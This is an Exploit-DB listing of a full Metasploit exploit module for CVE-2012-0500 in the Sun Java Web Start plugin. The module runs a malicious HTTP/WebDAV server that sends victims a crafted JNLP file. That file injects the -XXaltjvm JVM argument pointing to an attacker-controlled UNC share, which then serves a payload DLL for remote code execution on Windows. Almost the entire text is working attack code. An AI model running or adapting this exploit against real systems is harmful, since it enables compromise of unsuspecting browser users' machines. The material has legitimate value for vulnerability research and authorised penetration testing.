标题: Sun Java Web Start Plugin - Command Line Argument Injection (2012) (Metasploit) EDB-ID: 18520 CVE: 2012-0500 类型: REMOTE 平台: WINDOWS 发布日期: 2012-02-24 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 #
 # This module acts as an HTTP server
 #
 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sun Java Web Start Plugin Command Line Argument Injection (2012)',
   'Description'    => %q{
     This module exploits a flaw in the Web Start component of the Sun Java
    Runtime Environment. The arguments passed to Java Web Start are not properly
    validated, allowing injection of arbitrary arguments to the JVM.

    By utilizing the lesser known -J option, an attacker can take advantage of
    the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method
    allows an attacker to execute arbitrary code in the context of an unsuspecting
    browser user.

    In order for this module to work, it must be ran as root on a server that
    does not serve SMB. Additionally, the target host must have the WebClient
    service (WebDAV Mini-Redirector) enabled.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'jduck', # Bug reported to Oracle by TELUS
   'Version'        => '$Revision$',
   'References'     =>
    [
     [ 'CVE', '2012-0500' ],
     [ 'OSVDB', '79227' ],
     [ 'BID', '52015' ],
     [ 'URL', 'http://seclists.org/fulldisclosure/2012/Feb/251' ],
     [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpufeb2012-366318.html' ]
    ],
   'Platform'       => 'win',
   'Payload'        =>
    {
     'Space'    => 1024,
     'BadChars' => '',
     'DisableNops' => true,
     'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
    },
   'Targets'        =>
    [
     [ 'Automatic', { } ],
     [ 'Java Runtime on Windows x86',
      {
       'Platform' => 'win',
       'Arch' => ARCH_X86
      }
     ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Feb 14 2012'
   ))

  register_options(
   [
    OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
    OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
    OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with an SMB server)' ])
   ], self.class)
 end


 def auto_target(cli, request)
  agent = request.headers['User-Agent']

  ret = nil
  #print_status("Agent: #{agent}")
  # Check for MSIE and/or WebDAV redirector requests
  if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
   ret = targets[1]
  elsif agent =~ /MSIE (6|7|8)\.0/
   ret = targets[1]
  else
   print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
  end

  ret
 end


 def on_request_uri(cli, request)

  # For this exploit, this does little besides ensures the user agent is a recognized one..
  mytarget = target
  if target.name == 'Automatic'
   mytarget = auto_target(cli, request)
   if (not mytarget)
    send_not_found(cli)
    return
   end
  end

  # Special case to process OPTIONS for /
  if (request.method == 'OPTIONS' and request.uri == '/')
   process_options(cli, request, mytarget)
   return
  end

  # Discard requests for ico files
  if (request.uri =~ /\.ico$/i)
   send_not_found(cli)
   return
  end

  # If there is no subdirectory in the request, we need to redirect.
  if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
   if (request.uri == '/')
    subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
   else
    subdir = request.uri + '/'
   end
   print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
   send_redirect(cli, subdir)
   return
  else
   share_name = $1
  end

  # dispatch WebDAV requests based on method first
  case request.method
  when 'OPTIONS'
   process_options(cli, request, mytarget)

  when 'PROPFIND'
   process_propfind(cli, request, mytarget)

  when 'GET'
   process_get(cli, request, mytarget, share_name)

  when 'PUT'
   print_status("Sending 404 for PUT #{request.uri} ...")
   send_not_found(cli)

  else
   print_error("Unexpected request method encountered: #{request.method}")

  end

 end

 #
 # GET requests
 #
 def process_get(cli, request, target, share_name)

  print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
  # dispatch based on extension
  if (request.uri =~ /\.dll$/i)
   #
   # DLL requests sent by IE and the WebDav Mini-Redirector
   #
   print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

   # Re-generate the payload
   return if ((p = regenerate_payload(cli)) == nil)

   # Generate a DLL based on the payload
   dll_data = generate_payload_dll({ :code => p.encoded })

   # Send it :)
   send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })

  elsif (request.uri =~ /\.jnlp$/i)
   #
   # Send the jnlp document
   #

   # Prepare the UNC path...
   if (datastore['UNCPATH'])
    unc = datastore['UNCPATH'].dup
   else
    my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
    unc = "\\\\" + my_host + "\\" + share_name
   end

   # NOTE: we ensure there's only a single backslash here since it will get escaped
   if unc[0,2] == "\\\\"
    unc.slice!(0, 1)
   end

   http_agent = Rex::Text.rand_text_alpha(8+rand(8))

   jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1">
<information>
   <title>#{Rex::Text.rand_text_alpha(rand(10)+10)}</title>
   <vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
   <description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
   <java version="1.3+" initial-heap-size='512m" -J-XXaltjvm=#{unc} "' />
</resources>
<resources><java java-vm-args='-Dhttp.agent=#{http_agent}"' /></resources>
</jnlp>
EOS
   print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })

  else
   print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
   jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))

   jnlp_path = get_resource()
   if jnlp_path[-1,1] != '/'
    jnlp_path << '/'
   end
   jnlp_path << request.uri.split('/')[-1] << '/'
   jnlp_path << jnlp_name << ".jnlp"

   send_redirect(cli, jnlp_path, '')

  end

 end

 #
 # OPTIONS requests sent by the WebDav Mini-Redirector
 #
 def process_options(cli, request, target)
  print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
  headers = {
   #'DASL'   => '<DAV:sql>',
   #'DAV'    => '1, 2',
   'Allow'  => 'OPTIONS, GET, PROPFIND',
   'Public' => 'OPTIONS, GET, PROPFIND'
  }
  send_response(cli, '', headers)
 end


 #
 # PROPFIND requests sent by the WebDav Mini-Redirector
 #
 def process_propfind(cli, request, target)
  path = request.uri
  print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
  body = ''

  if (path =~ /\.dll$/i)
   # Response for the DLL
   print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
   body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

  elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
   # Response for anything else (generally just /)
   print_status("Sending directory multistatus for #{path} ...")
   body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|

  else
   print_status("Sending 404 for #{path} ...")
   send_not_found(cli)
   return

  end

  # send the response
  resp = create_response(207, "Multi-Status")
  resp.body = body
  resp['Content-Type'] = 'text/xml'
  cli.send_response(resp)
 end


 #
 # Make sure we're on the right port/path to support WebDAV
 #
 def exploit
  if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'
   raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
  end

  super
 end

end URL: https://www.exploit-db.com/exploits/18520